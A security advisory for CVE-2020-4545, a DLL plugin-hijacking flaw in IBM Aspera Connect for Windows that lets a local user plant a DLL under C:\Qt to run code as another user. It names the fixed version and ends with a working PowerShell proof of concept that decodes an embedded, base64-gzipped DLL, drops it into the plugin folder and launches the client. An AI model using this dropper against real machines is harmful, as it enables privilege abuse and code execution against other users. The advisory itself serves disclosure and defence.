IBM Aspera Connect for Windows Qt plugin hijack

Abstract

A file hijacking vulnerability was found in the IBM Aspera Connect client. This vulnerability allows a local attacker to plant a DLL file on the local machine. This DLL will then be loaded whenever (another) user launches Aspera Connect, running with the privileges of the victim.

See also

CVE-2020-4545

6326537 - Improper DLL loading vulnerability affecting Aspera Connect 3.9.9 and earlier

Tested version

This issue was successfully verified on IBM Aspera Connect version 3.9.8.

Fix

IBM released Aspera Connect version 3.10.0 that fixes this issue.

Introduction

Aspera is a data transport and streaming technology company that provides high speed data transfer services. Aspera belongs to the hybrid cloud business unit of IBM. The Fast and Secure Protocol (FASP) is a proprietary data transfer protocol developed by Aspera. The associated client/server software packages are also commonly called Aspera.

A file hijacking vulnerability was found in the IBM Aspera Connect client. This vulnerability allows a local attacker to plant a DLL file on the local machine. This DLL will then be loaded whenever (another) user launches Aspera Connect, running with the privileges of the victim.

Vulnerability details

The IBM Aspera Connect client is used to securely transfer files and folders of any size. The client is build using Qt. When the client starts, it will search in the folder C:\Qt\Qt5.6.1-1\5.6\msvc2015\plugins\ for any Qt plugin that needs to be loaded. When the plugin can't be found under C:\Qt, the application's installation folder will be searched.

Normally, the C:\Qt folder is not present on Windows systems. Any authenticated user is permitted to create this folder in the system root and consequently, a logged on attacker can also create the searched folder structure. The attacker can then create any of the following folders and copy a malicious DLL in these folders:

  • iconengines
  • imageformats
  • platforms
  • sqldrivers

Now whenever Aspera Connect is launched, it will find the attacker's DLL, load it, and run any code that is present in this DLL. The attacker's code will run with the privileges of the user that launched Aspera Connect.

Proof of concept

The following Powershell script can be used to demonstrate this issue. When successful, the proof of concept will start Calculator.

# embedded 32-bit DLL that runs calc.exe
$EncodedCompressedFile = "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"
$DeflatedStream = New-Object System.IO.Compression.GZipStream([System.IO.MemoryStream][System.Convert]::FromBase64String($EncodedCompressedFile), [System.IO.Compression.CompressionMode]::Decompress)
$dll = New-Object byte[] 14336
$DeflatedStream.Read($dll, 0, $dll.Length) | Out-Null
$DeflatedStream.Close() | Out-Null

# create folders & drop DLL
$targetfolder = "$env:SystemDrive\Qt\Qt5.6.1-1\5.6\msvc2015\plugins\platforms"
New-Item -Type directory -Path "$targetfolder" | Out-Null
Set-Content "$targetfolder\hijack.dll" -Encoding Byte $dll

# launch Aspera Connect
Start-Process -FilePath "fasp://" -Wait

# cleanup
Remove-Item "$env:SystemDrive\Qt" -Force -Recurse

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